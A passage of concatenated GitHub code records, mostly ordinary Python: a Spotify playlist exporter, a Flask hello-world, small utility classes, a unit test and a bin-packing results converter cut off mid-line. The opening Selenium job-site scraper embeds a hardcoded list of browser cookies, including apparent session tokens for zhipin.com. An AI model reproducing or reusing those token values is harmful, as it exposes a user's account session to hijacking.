\".zhipin.com\",\n    \"expirationDate\": 1913120108,\n    \"hostOnly\": false,\n    \"httpOnly\": false,\n    \"name\": \"__a\",\n    \"path\": \"/\",\n    \"sameSite\": \"unspecified\",\n    \"secure\": false,\n    \"session\": false,\n    \"storeId\": \"0\",\n    \"value\": \"30036493.1595601173.1595733884.1597664382.38.4.4.38\",\n    \"id\": 1\n},\n{\n    \"domain\": \".zhipin.com\",\n    \"hostOnly\": false,\n    \"httpOnly\": false,\n    \"name\": \"__c\",\n    \"path\": \"/\",\n    \"sameSite\": \"unspecified\",\n    \"secure\": false,\n    \"session\": true,\n    \"storeId\": \"0\",\n    \"value\": \"1597664382\",\n    \"id\": 2\n},\n{\n    \"domain\": \".zhipin.com\",\n    \"hostOnly\": false,\n    \"httpOnly\": false,\n    \"name\": \"__g\",\n    \"path\": \"/\",\n    \"sameSite\": \"unspecified\",\n    \"secure\": false,\n    \"session\": true,\n    \"storeId\": \"0\",\n    \"value\": \"-\",\n    \"id\": 3\n},\n{\n    \"domain\": \".zhipin.com\",\n    \"hostOnly\": false,\n    \"httpOnly\": false,\n    \"name\": \"__l\",\n    \"path\": \"/\",\n    \"sameSite\": \"unspecified\",\n    \"secure\": false,\n    \"session\": true,\n    \"storeId\": \"0\",\n    \"value\": \"l=%2Fwww.zhipin.com%2Fweb%2Fgeek%2FresumeAnalyze%3FparserId%3D2212ad0f74bb480b1nZ_3dm4E1E~%26ka%3Dto_resume_click_1&r=&g=&friend_source=0&friend_source=0\",\n    \"id\": 4\n},\n{\n    \"domain\": \".zhipin.com\",\n    \"hostOnly\": false,\n    \"httpOnly\": false,\n    \"name\": \"Hm_lpvt_194df3105ad7148dcf2b98a91b5e727a\",\n    \"path\": \"/\",\n    \"sameSite\": \"unspecified\",\n    \"secure\": false,\n    \"session\": true,\n    \"storeId\": \"0\",\n    \"value\": \"1597664384\",\n    \"id\": 5\n},\n{\n    \"domain\": \".zhipin.com\",\n    \"expirationDate\": 1629200383,\n    \"hostOnly\": false,\n    \"httpOnly\": false,\n    \"name\": \"Hm_lvt_194df3105ad7148dcf2b98a91b5e727a\",\n    \"path\": \"/\",\n    \"sameSite\": \"unspecified\",\n    \"secure\": false,\n    \"session\": false,\n    \"storeId\": \"0\",\n    \"value\": \"1595601186,1595650251,1595733884,1597664384\",\n    \"id\": 6\n},\n{\n    \"domain\": \".zhipin.com\",\n    \"expirationDate\": 1627306871.788752,\n    \"hostOnly\": false,\n    \"httpOnly\": false,\n    \"name\": \"lastCity\",\n    \"path\": \"/\",\n    \"sameSite\": \"unspecified\",\n    \"secure\": false,\n    \"session\": false,\n    \"storeId\": \"0\",\n    \"value\": \"101020100\",\n    \"id\": 7\n},\n{\n    \"domain\": \".zhipin.com\",\n    \"expirationDate\": 1598727600.163529,\n    \"hostOnly\": false,\n    \"httpOnly\": true,\n    \"name\": \"t\",\n    \"path\": \"/\",\n    \"sameSite\": \"unspecified\",\n    \"secure\": false,\n    \"session\": false,\n    \"storeId\": \"0\",\n    \"value\": \"IGaAPPadchtU5ssh\",\n    \"id\": 8\n},\n{\n    \"domain\": \".zhipin.com\",\n    \"expirationDate\": 1598727600.163759,\n    \"hostOnly\": false,\n    \"httpOnly\": true,\n    \"name\": \"wt\",\n    \"path\": \"/\",\n    \"sameSite\": \"unspecified\",\n    \"secure\": false,\n    \"session\": false,\n    \"storeId\": \"0\",\n    \"value\": \"IGaAPPadchtU5ssh\",\n    \"id\": 9\n},\n{\n    \"domain\": \"www.zhipin.com\",\n    \"expirationDate\": 1611153196.824889,\n    \"hostOnly\": true,\n    \"httpOnly\": false,\n    \"name\": \"_bl_uid\",\n    \"path\": \"/\",\n    \"sameSite\": \"unspecified\",\n    \"secure\": false,\n    \"session\": false,\n    \"storeId\": \"0\",\n    \"value\": \"vLk4wd560gqbnUr8k6w7zgwc9sI0\",\n    \"id\": 10\n},\n{\n    \"domain\": \"www.zhipin.com\",\n    \"hostOnly\": true,\n    \"httpOnly\": true,\n    \"name\": \"JSESSIONID\",\n    \"path\": \"/\",\n    \"sameSite\": \"unspecified\",\n    \"secure\": true,\n    \"session\": true,\n    \"storeId\": \"0\",\n    \"value\": \"\\\"\\\"\",\n    \"id\": 11\n}\n]\ndef index_page(page,x,k,t2):\n    \"\"\"\n    抓取索引页\n    :param page: 页码\n    \"\"\"\n    print('正在爬取第',k, '次')\n    try:\n        url = 'https://www.zhipin.com/c101020100-p110105/?page='+str(k)+'&ka=page-'+str(k)\n        browser.get(url)\n        for cookie in cookie_list:\n            browser.add_cookie(cookie)\n        browser.get(url)\n        # button1 = wait.until( EC.element_to_be_clickable((By.CSS_SELECTOR, '')))\n\n        html = browser.page_source\n        doc = pq(html)\n        items = doc('.info-primary').items()\n        print(items)\n        for item in items:\n\n            product = {\n                'crawlertime': t2,\n                '岗位': item.find('.job-name').text(),\n                '公司': item.find('.name').text(),\n                '薪资': item.find('.red').text(),\n                '地点': item.find('.job-area').text(),\n                '发布日': item.find('.job-pub-time').text(),\n                'link':item.find('.job-name>a').attr('href')\n            }\n            print(product)\n            t2 = t2 + 1\n            time.sleep(1)\n            save_to_mongo1(product)\n\n\n\n    except TimeoutException:\n             print('失败')\n\ndef save_to_mongo1(result):\n    \"\"\"\n    保存至MongoDB\n    :param result: 结果\n    \"\"\"\n    try:\n        if db[MONGO_COLLECTION1].insert_one(result):\n            print('存储到MongoDB成功')\n    except Exception:\n        print('存储到MongoDB失败')\n\ndef main():\n    \"\"\"\n    遍历每一页\n    \"\"\"\n    n=1\n\n    for x in range(1, 10):\n        for i in range(1, 30):\n            index_page(i,x,n,t2)\n            n = n +1\n\nif __name__ == '__main__':\n    main()","repo_name":"dhx825626719/boos1","sub_path":"boss1.py","file_name":"boss1.py","file_ext":"py","file_size_in_byte":6186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29209847083","text":"from collections import namedtuple\n\ndef merge(*records):\n    \"\"\"\n    :param records: (varargs list of namedtuple) The patient details.\n    :returns: (namedtuple) named Patient, containing details from all records, in entry order.\n    \"\"\"\n\n    # personal_details = records[0]\n    # complexion = records[1]\n    # Patient = namedtuple('Patient', personal_details._fields + complexion._fields)\n    # return Patient(personal_details.date_of_birth, complexion.eye_color, complexion.hair_color)\n\n\n    list_of_tuples = []\n    for record in records:\n        list_of_tuples += record._fields\n\n    temp = {}\n    for record in records:\n        temp_record = record._asdict()\n        for field in record._fields:\n            temp[field] = temp_record[field]\n\n    Patient = namedtuple('Patient', temp.keys())(*temp.values())\n    return Patient\n\nPersonalDetails = namedtuple('PersonalDetails', ['date_of_birth'])\npersonal_details = PersonalDetails(date_of_birth = '06-04-1972')\n                                   \nComplexion = namedtuple('Complexion', ['eye_color', 'hair_color'])\ncomplexion = Complexion(eye_color = 'Blue', hair_color = 'Black')\n  \nprint(merge(personal_details, complexion))","repo_name":"peterqt95/leetcode-flashcards","sub_path":"server/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32528408781","text":"#!/usr/bin/env python\n\n# spotify_playlist_export:\n# This script uses pyspotify to log in to a user's Spotify account and export\n# all of the playlists to XSPF (XML Shareable Playlist Format) files.\n# (c) 2014 Chris Hodapp\n\nimport spotify\n\nimport threading\nimport xml.etree.ElementTree as ET\nimport sys, os, time\n\nimport argparse\n\ndef processContainer(plCont):\n    \"\"\"\n    This walks a Spotify playlist container, and converts all the playlists\n    found insode to XSPF (XML Shareable Playlist Format).\n    It generates (name, folder, tree), tuples, where 'name' is the playlist's\n    name, 'folder' is a tuple expressing the path to the playlist, and 'tree'\n    is an ElementTree giving the XSPF.\n    \n    Arguments:\n    plCont -- spotify.playlist_container object from which to start\n    \"\"\"\n    folder = []\n    count = len(plCont)\n    for idx,pl in enumerate(plCont):\n        print(\"Loading %d of %d...\" % (idx + 1, count))\n        if type(pl) is spotify.Playlist:\n            _ = pl.load()\n            tree = ET.ElementTree(generateXspf(pl))\n            yield (pl.name, folder, tree)\n        elif type(pl) is spotify.PlaylistFolder:\n            if pl.type == spotify.PlaylistType.START_FOLDER:\n                folder.append(pl.name)\n                #recurseContainer(pl, level + 1, folder)\n            elif pl.type == spotify.PlaylistType.END_FOLDER:\n                folder.pop()\n            else:\n                print(\"Unknown playlist type %s, %s\" % (type(pl), pl))\n        elif type(pl) is int:\n            print(\"Don't know what to do with int %d...\" % (pl,))\n        elif type(pl) is str:\n            print(\"Don't know what to do with str %s...\" % (pl,))\n        else:\n            print(\"Unknown playlist type %s, %s\" % (type(pl), pl))\n\ndef generateXspf(playlist):\n    \"\"\"Turn a spotify.playlist.Playlist into an XSPF playlist.  This returns\n    root node as an xml.etree.ElementTree.Element.\"\"\"\n    root = ET.Element('playlist')\n    # getSubFn, given a root element, returns a function which adds a subelement\n    # of that root element with the given name, and optional text. It returns\n    # that subelement, but it can be ignored.\n    def getSubFn(elem):\n        def _getSub(name, text = None):\n            sub = ET.SubElement(elem, name)\n            if text is not None:\n                sub.text = str(text)\n            return sub\n        return _getSub\n    rootSub = getSubFn(root)\n    root.set('version', '1')\n    root.set('xmlns', 'http://xspf.org/ns/0/')\n\n    # Get some playlist metadata:\n    rootSub('title', playlist.name)\n    # This might also sensibly be canonical_name.\n    rootSub('creator', playlist.owner.display_name)\n    if (playlist.description):\n        rootSub('annotation', playlist.description)\n    # TODO: This field could be turned into a real URL at open.spotify.com\n    # rather than a Spotify short URI.\n    rootSub('location', playlist.link.uri)\n    # No 'date' field, annoyingly.\n\n    # Get information for each track:\n    trackList = rootSub('trackList')\n    for track in playlist.tracks:\n        trackSub = getSubFn(ET.SubElement(trackList, 'track'))\n        trackSub('location', track.link.uri)\n        # Is anything proper for 'identifier'? MusicBrainz?\n        trackSub('title', track.name)\n        trackSub('creator', \",\".join([a.name for a in track.artists]))\n        if track.album:\n            album = '%s - %s (%s)' % (track.album.artist.name, track.album.name, track.album.year)\n        else:\n            album = ''\n        trackSub('album', album)\n        # What do I do with other album metadata? Album art?\n        trackSub('trackNum', track.index)\n        trackSub('duration', track.duration)\n        # TODO: Find a less clunky way to mark that a track is starred.\n        if (track.starred):\n            trackSub('annotation', 'Starred')\n    return root\n\n# Perhaps HTML escaping is a better option.\ndef sanitizeFilename(name):\n    replace = (';', '/', '\\\\')\n    for ch in replace:\n        name = name.replace(ch, '-')\n    return name\n\ndef main(argv):\n    description = \"Log in to a Spotify account given a username and password (you must have a Spotify Premium account, and spotify_appkey.key in the working directory), read all playlists, and export them to XSPF (XML Shareable Playlist Format) files, optionally preserving the structure of playlist folders.\"\"\"\n    parser = argparse.ArgumentParser(description=description)\n    parser.add_argument(\"-u\", \"--username\", help=\"Spotify username\")\n    parser.add_argument(\"-p\", \"--password\", help=\"Spotify password\")\n    parser.add_argument(\"-f\", \"--flat\", action=\"store_true\",\n                        help=\"Do not make directories for playlist folders.\")\n    parser.add_argument(\"-d\", \"--dest\", default='.',\n                        help=\"Destination directory to store playlists (default is current).\")\n    args = parser.parse_args()\n\n    # Log in to Spotify and get a session\n    # Code from: http://pyspotify.mopidy.com/en/latest/quickstart/\n    logged_in_event = threading.Event()\n    def connection_state_listener(session):\n        if session.connection.state is spotify.ConnectionState.LOGGED_IN:\n            logged_in_event.set()\n    session = spotify.Session()\n    loop = spotify.EventLoop(session)\n    loop.start()\n    session.on(spotify.SessionEvent.CONNECTION_STATE_UPDATED,\n               connection_state_listener)\n\n    session.login(args.username, args.password)\n    print(\"Logging in %s...\" % (session.user,))\n    logged_in_event.wait()\n    \n    # Get the playlist container:\n    _ = session.playlist_container.load()\n\n    # Prepare directory for output:\n    try:\n        os.makedirs(args.dest)\n    except FileExistsError:\n        pass\n\n    # Finally, start converting everything:\n    for name, relPath, xspf in processContainer(session.playlist_container):\n        # Create the necessary path for 'relPath'.\n        path = args.dest\n        if relPath and not args.flat:\n            folders = [sanitizeFilename(f) for f in relPath]\n            path = os.sep.join([path] + folders)\n            try:\n                os.makedirs(path)\n            except FileExistsError:\n                pass\n        # Sanitize the name a bit:\n        name = sanitizeFilename(name)\n        filename = os.sep.join([path, name + '.xspf'])\n        # Finally, write it out.\n        xspf.write(filename, 'UTF-8', True)\n\nmain(sys.argv)\n","repo_name":"Hodapp87/spotify_playlist_export","sub_path":"spotify_playlist_export.py","file_name":"spotify_playlist_export.py","file_ext":"py","file_size_in_byte":6329,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"18864545547","text":"class TheBotman:\n    def __init__(self):\n        self.bot_types = {\n            \"Chatbots\": \"Converse with users and provide assistance or information.\",\n            \"Social Media Bots\": \"Automate posts, likes, and interactions on social platforms.\",\n            \"Web Crawlers\": \"Scour the web to gather data and index websites for search engines.\",\n            \"Trading Bots\": \"Execute automated trades in financial markets based on algorithms.\",\n            \"Gaming Bots\": \"Enhance gaming experiences by performing tasks and assisting players.\",\n            # Add more bot types and descriptions here...\n        }\n\n        self.etymology = \"The term 'bot' is derived from 'robot,' which comes from the Czech word 'robota,' meaning forced labor or servitude.\"\n\n        self.impact = \"Bots have revolutionized industries by improving efficiency, accuracy, and user experiences.\"\n\n        self.ai_ml = \"Many bots leverage AI and machine learning to learn from data and adapt to user needs.\"\n\n        self.interaction = \"Bots interact with users through natural language processing and user-friendly interfaces.\"\n\n        self.ethics = \"Ethical considerations in bot design include transparency, privacy, and avoiding biases.\"\n\n    def introduce(self):\n        print(\"As you explore the Virtual Forest, a figure approaches with a smile.\")\n        print(\"The figure introduces itself, saying, 'I'm Botman... your guide to the world of bots!'\")\n\n    def share_bot_types(self):\n        print(\"Botman begins sharing knowledge about various types of bots:\")\n        for bot_type, description in self.bot_types.items():\n            print(f\"- {bot_type}: {description}\")\n\n    def explain_etymology(self):\n        print(\"Botman delves into the etymology of the word 'bot:'\")\n        print(f\"- {self.etymology}\")\n\n    def highlight_impact(self):\n        print(\"Botman discusses the impact of bots on different industries:\")\n        print(f\"- {self.impact}\")\n\n    def talk_about_ai_ml(self):\n        print(\"Botman elaborates on the use of AI and machine learning in bots:\")\n        print(f\"- {self.ai_ml}\")\n\n    def discuss_interaction(self):\n        print(\"Botman explains how bots interact with users:\")\n        print(f\"- {self.interaction}\")\n\n    def address_ethics(self):\n        print(\"Botman covers ethical considerations in bot design:\")\n        print(f\"- {self.ethics}\")\n\nif __name__ == \"__main__\":\n    botman = TheBotman()\n    botman.introduce()\n    botman.share_bot_types()\n    botman.explain_etymology()\n    botman.highlight_impact()\n    botman.talk_about_ai_ml()\n    botman.discuss_interaction()\n    botman.address_ethics()\n","repo_name":"txtatech/virtual-forest","sub_path":"virtual-forest/game-code/TheBotman.py","file_name":"TheBotman.py","file_ext":"py","file_size_in_byte":2624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71651908241","text":"\"\"\"Cloud Foundry test\"\"\"\nfrom flask import Flask\nimport os\n\napp = Flask(__name__)\n\n# On CF, get the port number from the environment variable VCAP_APP_PORT and server address with CF_INSTANCE_IP\n# When running this app on the local machine, default the port to 8080\nport = int(os.getenv('VCAP_APP_PORT', 8080))\naddress = (os.getenv('CF_INSTANCE_IP'))\n\n@app.route('/')\ndef hello_world():\n    return 'Hello from Appfog World (version 3)! I am running on address:port ' + str(address) + str (':') + str(port)\n\n     \nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=port)\n","repo_name":"gavin-lai/hello-world","sub_path":"hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"27876236535","text":"\r\nclass IncorrectData(Exception):\r\n    def __init__(self, n):\r\n        self.n = n\r\n\r\n    def __str__(self):\r\n        return f'{self.n} is incorrect'\r\n\r\nclass FileProblem(Exception):\r\n\r\n    def __init__(self, fname, msg):\r\n        self.fname = fname\r\n        self.msg = msg\r\n\r\n    def __str__(self):\r\n        return f'{self.fname} is not open: {self.msg}'\r\n\r\nclass WorkBinFile:\r\n\r\n    def __init__(self, fname):\r\n        self.fname = fname\r\n        self.num = 0\r\n\r\n    def input_console(self):\r\n\r\n        n = int(input('n = '))\r\n\r\n        if n <= 0:\r\n            raise IncorrectData(n)\r\n        \r\n        f = open(self.fname, 'wb')\r\n        if not f:\r\n            raise FileProblem(self.fname, 'cannot open')\r\n        for _ in range(n):\r\n            x = int(input('x = '))\r\n            f.write(x)\r\n\r\n        f.close()\r\n\r\n    def write_from_list(self, lst):\r\n\r\n        f = open(self.fname, 'wb')\r\n        if not f:\r\n            raise FileProblem(self.fname, 'cannot open')\r\n        for x in lst:\r\n            f.write(bytearray([x]))\r\n\r\n        f.close()\r\n\r\n    def read(self):\r\n\r\n        f = open(self.fname, 'rb')\r\n        if not f:\r\n            raise FileProblem(f, 'cannot read')\r\n        while True:\r\n            x = f.read(1)\r\n            x = int.from_bytes(x, byteorder='big')\r\n            print(x)\r\n            if not x:\r\n                break\r\n\r\n        f.close()\r\n\r\n    def append(self, data):\r\n\r\n        f = open(self.fname, 'a+b')\r\n        if not f:\r\n            raise FileProblem(self.fname, 'cannot append')\r\n        f.write(bytearray(data))\r\n        f.close()\r\n\r\nif __name__ == \"__main__\":\r\n    try:\r\n        wf = WorkBinFile('1.dat')\r\n        wf.write_from_list([1, 2, 3, 4, 7, 4, 8, 9])\r\n        wf.append(8)\r\n        wf.read()\r\n    \r\n    except FileProblem as e:\r\n        print(e)\r\n","repo_name":"CrazyDuck192/PythonTasks","sub_path":"15.24.py","file_name":"15.24.py","file_ext":"py","file_size_in_byte":1797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29061079397","text":"from datetime import timedelta\n\nimport pytest\n\nfrom sendr_utils import utcnow\n\nfrom hamcrest import assert_that, greater_than, has_properties, not_none, starts_with\n\nfrom billing.yandex_pay.yandex_pay.core.payment_token import generate_message\n\n\n@pytest.mark.parametrize(\n    'expires_in', [None, timedelta(seconds=30), timedelta(hours=1)]\n)\ndef test_generate_message_id(expires_in):\n    message = generate_message(777, expires_in=expires_in)\n\n    assert_that(\n        message,\n        has_properties(\n            message_id=starts_with('1:'),\n            expires_at=has_properties(tzinfo=not_none()),\n            expiration_epoch_ms=greater_than(int(utcnow().timestamp()) * 1000),\n        )\n    )\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"billing/tests/unit/core/test_payment_token.py","file_name":"test_payment_token.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40010630240","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Nov 19 16:08:19 2022\n\n@author: Jean-Baptiste\n\"\"\"\n\nimport os.path, time\n\nfrom datetime import datetime\ndef get_creation_date(file):\n    stat = os.stat(file)\n    try:\n        return stat.st_birthtime\n    except AttributeError:\n        # Nous sommes probablement sous Linux. Pas de moyen pour obtenir la date de création, que la dernière date de modification.\n        return stat.st_mtime\n# Convertir Timestamp en datetime\ncreation_date = datetime.fromtimestamp(get_creation_date('E:\\\\Master2\\\\Semestre 9\\\\SupervisionProject\\\\racine\\\\equipements\\\\cisco.usmb.asa\\\\resultats\\\\test-ping.json'))\nprint(\"%s\" % creation_date)\ncreation = str(creation_date).split('.')\nprint(creation)\ncreation = creation[0]\n\"\"\"\nliste = []\nliste.append(int(creation[0]))\nliste.append(int(creation[1]))\ncreation = creation[2].split(' ')\nliste.append(int(creation[0]))\ncreation = creation[1].split(':')\nliste.append(int(creation[0]))\nliste.append(int(creation[1]))\ncreation = creation[2].split('.')\nliste.append(int(creation[0]))\nprint(liste)\n\"\"\"\n#print(\"Dernière modification: %s\" % time.ctime(os.path.getmtime(\"E:\\\\Master2\\\\Semestre 9\\\\SupervisionProject\\\\racine\\\\equipements\\\\cisco.usmb.asa\\\\resultats\\\\test-ping.json\")))\n#date_fichier = time.ctime(os.path.getmtime(\"E:\\\\Master2\\\\Semestre 9\\\\SupervisionProject\\\\racine\\\\equipements\\\\cisco.usmb.asa\\\\resultats\\\\test-ping.json\"))\n\nfrom datetime import datetime\ndate_actuelle = datetime.now()\nprint(date_actuelle)\ndate_actuelle = str(date_actuelle).split('.')\ndate_actuelle = date_actuelle[0]\n\nimport datetime\nfrom datetime import datetime\nfirst = time.strptime(creation, \"%Y-%m-%d %H:%M:%S\")\nsecond = time.strptime(str(date_actuelle), \"%Y-%m-%d %H:%M:%S\")\n\nif first < second:\n    print('First date is less than the second date.')\nelif first > second:\n    print('First date is more than the second date.')\nelse:\n    print('Both dates are the same.')","repo_name":"BeinArt/ETRS911-cornut-gessiaume","sub_path":"codeFlask/untitled0.py","file_name":"untitled0.py","file_ext":"py","file_size_in_byte":1915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"30126964920","text":"'''\nConverts the results of `alexfrom0815/Online-3D-BPP-PCT` to the format that is used in BED-BPP. \n\nProcedure.\n----------\n(1) Load the data from the .txt file.  \n(2) For each order  \n    (a) convert the order to the pre-defined json format  \n(3) Save all orders in a new .json file.  \n'''\nimport numpy as np\nimport utils\nimport logging\nimport argparse\nimport ast\nimport json\nfrom tqdm import tqdm\nimport typing\n\n\nlogger = logging.getLogger(__name__)\nloggingfile = utils.OUTPUTDIRECTORY.joinpath(\"converter_logs.log\")\nlogger.addHandler(logging.FileHandler(loggingfile))\n\n\nFACTOR_X, FACTOR_Y, FACTOR_Z = 10, 10, 10\nDEFAULT_ITEM_WEIGHT = 9.99\n\n\ndef mergeResultsForDifferentTargets(order:dict, resultssolver:dict) -> dict:\n    '''\n    \n    Parameters.\n    -----------\n    order: dict  \n        tbd  \n    resultssolvers: dict  \n        TBD  \n\n    Returns.\n    --------\n    mergedResults: dict  \n        tbd  \n    \n    Examples.\n    ---------\n    >>> resultssolver\n    {\n        \"rollcontainer\": ...,\n        \"euro-pallet\": ...\n    }\n\n    >>> mergedResults\n    {\n        \"00100001\": pass # LINES that are important\n    }\n    '''\n    mergedResults = {}\n\n    for i, idAndInformation in enumerate(order.items()):\n        orderID, information = idAndInformation\n        target = information[\"properties\"][\"target\"]\n\n\n        srcIndices = resultssolver[target][\"order_information\"][orderID] \n        startIdx, endIdx = srcIndices.get(\"start\"), srcIndices.get(\"end\")\n\n        data = resultssolver[target][\"data\"]\n\n        mergedResults[orderID] = data[startIdx:endIdx]\n\n\n    return mergedResults\n\n\ndef getItemPropertiesFromSize(orderitemsequence:dict, itemsize:list, iteratorinseq:int) -> dict:\n    length, width, height = itemsize\n    possibleItems = {}\n    orientations = {}\n    toleranceValue = 10\n\n    for item in orderitemsequence.values():\n        if abs(item[\"length/mm\"]-length)<=toleranceValue and abs(item[\"width/mm\"]-width)<=toleranceValue and abs(item[\"height/mm\"]-height)<=toleranceValue and not(item[\"article\"] in possibleItems.keys()):\n            possibleItems[item[\"article\"]] = item\n            orientations[item[\"article\"]] = 0\n        elif abs(item[\"length/mm\"]-width)<=toleranceValue and abs(item[\"width/mm\"]-length)<=toleranceValue and abs(item[\"height/mm\"]-height)<=toleranceValue and not(item[\"article\"] in possibleItems.keys()):\n            possibleItems[item[\"article\"]] = item\n            orientations[item[\"article\"]] = 1\n\n    if len(possibleItems)>1:\n        logger.warning(f\"no unique matching by size!\")\n        minDistanceToIterator = np.inf\n        possibleItemChoice = None\n        for item in possibleItems.values():\n            itemSeqNumber = item[\"sequence\"]\n            deltaToIterator = abs(itemSeqNumber-iteratorinseq)\n            if deltaToIterator < minDistanceToIterator:\n                minDistanceToIterator = deltaToIterator\n                possibleItemChoice = item\n\n        itemOrientation = orientations[item[\"article\"]]\n        logger.info(f\"selected {possibleItemChoice}\")\n\n    else:\n        possibleItemChoice = possibleItems[list(possibleItems.keys())[0]]\n        itemOrientation = orientations[list(orientations.keys())[0]]\n\n    itemProps = possibleItemChoice\n    return itemProps, itemOrientation\n\n\ndef __prepareSRC_SOLVER(src_solver:list) -> typing.Tuple:\n    '''\n    Prepares the solver's source file for the conversion.  \n\n    Parameters.\n    -----------\n    src_solver:list  \n        The lines of the txt file of the solver's output.  \n\n    Returns.\n    --------\n    cleaned_src_solver:list  \n        The cleaned src_solver file that does not contain tailed \"\\\\n\".  \n    order_information:dict  \n        The keys are the order ids and the values are dictionaries that contain the start index and the end index of the order in the txt file of the solver.  \n    '''\n    cleaned_src_solver = []\n    order_information = {}\n\n\n\n    packingPlanIndices = []\n    for lineNr, line in enumerate(src_solver):\n        # remove \\n from end of line\n        cleaned_src_solver.append(line.rstrip(\"\\n\"))\n        # find the packing plan indices\n        if \"PACKING PLAN\" in line:\n            packingPlanIndices.append(lineNr)\n    packingPlanIndices.append(len(src_solver))\n\n\n    while len(packingPlanIndices) > 1:\n        startIdx, endIdx = packingPlanIndices.pop(0)+1, packingPlanIndices[0]\n\n        orderKey = \"001\" + str(len(order_information)+1).zfill(5)\n\n        order_information[orderKey] = {\n            \"start\": startIdx,\n            \"end\": endIdx\n        }\n\n    return cleaned_src_solver, order_information\n\n\n\ndef createOrderDataFromSolution() -> None:\n    '''\n    This method converts the output of the Online-3D-BPP-DRL solver by alexfrom0815 to the known benchmark data format.\n    '''\n    pass\n\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # \n\nif __name__ == '__main__':\n    '''\n    Main of the converter.\n    '''\n    parser = argparse.ArgumentParser(description='Possible arguments for the results converter Online-3D-BPP-PCT => MyPa format.')\n    parser.add_argument('--src_solver', nargs='+', help=\"The list of source files that is converted to the needed format in Python.\")\n    parser.add_argument('--src_order', type=str, default=utils.getPathToExampleData().joinpath(\"benchmark_data/bed-bpp_v1.json\"), help=\"The order data that was used to create the solver output..\")\n    parser.add_argument('--dest', type=str, default=utils.o3dbpp_pct.DEFAULT_FILENAME_CONVERTED_OUTPUT , help=\"The location where the converted output is stored.\")\n    args = parser.parse_args()\n\n\n    with open(args.src_order) as file:\n        SRC_ORDER = json.load(file, parse_int=False)\n\n    print(args.src_solver, type(args.src_solver))\n\n    resultsSolver = {}\n    if isinstance(args.src_solver, list):\n        for fNameResults in args.src_solver:\n            \n            with open(fNameResults) as file:\n                dataSolver = file.readlines()\n\n            cleanedData, orderInformation = __prepareSRC_SOLVER(dataSolver)\n\n            if \"rollcontainer\" in str(fNameResults):\n                resultsSolver[\"rollcontainer\"] = {\n                    \"data\": cleanedData,\n                    \"order_information\": orderInformation\n                }\n            elif \"euro-pallet\" in str(fNameResults):\n                resultsSolver[\"euro-pallet\"] = {\n                    \"data\": cleanedData,\n                    \"order_information\": orderInformation\n                }\n            else:\n                raise ValueError(\"this target is not implemented now\")\n        \n        mergedResults = mergeResultsForDifferentTargets(SRC_ORDER, resultsSolver)\n    \n    else:\n        with open(args.src_solver) as file:\n            SRC_SOLVER = file.readlines()\n        # prepare data\n        CLEANED_SRC_SOLVER, orderInformation = __prepareSRC_SOLVER(SRC_SOLVER)\n\n\n    # print(f\"merged results: {mergedResults}\")\n\n    actionDictionary = {}\n    # converts the solution to an order that can be parsed to different algorithms\n    inputDataOrders = {}\n\n    for orderKey, srcIndices in orderInformation.items():\n        startIdx, endIdx = srcIndices.get(\"start\"), srcIndices.get(\"end\")\n\n        actionDictionary[orderKey] = []\n        inputDataOrders[orderKey] = {}\n        inputDataOrders[orderKey][\"properties\"] = {\n            \"target\": \"euro-pallet\",\n            \"id\": orderKey,\n            \"order_nr\": orderKey,\n            \"type\": \"generic\"\n        }\n        inputDataOrders[orderKey][\"item_sequence\"] = {}\n\n        # create the packing plan in json format\n        for i, line in tqdm(enumerate(mergedResults[orderKey])):\n        # for line in CLEANED_SRC_SOLVER[startIdx:endIdx]:\n            searchC = \"=(\"\n            sizeIdxStart = line.find(searchC) + len(searchC)\n            sizeIdxEnd = line.find(\")\", sizeIdxStart)\n            lbbIdxStart = line.find(searchC, sizeIdxEnd) + len(searchC)\n            lbbIdxEnd = line.find(\")\", lbbIdxStart)\n\n            sizeStr = line[sizeIdxStart:sizeIdxEnd]\n            sizeX, sizeY, sizeZ = sizeStr.split(\",\")\n            sizeX, sizeY, sizeZ = ast.literal_eval(sizeX), ast.literal_eval(sizeY), ast.literal_eval(sizeZ)\n\n            lbbCoordStr = line[lbbIdxStart:lbbIdxEnd]\n            lbbX, lbbY, lbbZ = lbbCoordStr.split(\",\")\n            lbbX, lbbY, lbbZ = ast.literal_eval(lbbX), ast.literal_eval(lbbY), ast.literal_eval(lbbZ)\n\n            # print(f\"size: {sizeX, sizeY, sizeZ} | lbb: {lbbX, lbbY, lbbZ}\")\n\n\n            itemProps, orientation = getItemPropertiesFromSize(SRC_ORDER[orderKey][\"item_sequence\"], [FACTOR_X*sizeX, FACTOR_Y*sizeY, FACTOR_Z*sizeZ], i)\n\n            itemProperties = {\n                \"length/mm\": FACTOR_X*sizeX, \n                \"width/mm\": FACTOR_Y*sizeY, \n                \"height/mm\": FACTOR_Z*sizeZ, \n                \"weight/kg\": DEFAULT_ITEM_WEIGHT, \n                \"id\": f\"c{sizeX}{sizeY}{sizeZ}\", \n                \"article\": f\"article_{sizeX}{sizeY}{sizeZ}\", \n                \"product_group\": \"pg_1\", \n                \"sequence\": len(actionDictionary[orderKey])+1\n            }\n\n            action = {\n                \"item\": itemProps,\n                \"flb_coordinates\": [FACTOR_X*lbbX, FACTOR_Y*lbbY, FACTOR_Z*lbbZ],\n                \"orientation\": orientation\n            }\n            \n            actionDictionary[orderKey].append(action)\n\n\n            # add item to item sequence\n            itemPropertieswrtOrientation = itemProperties.copy()\n            if 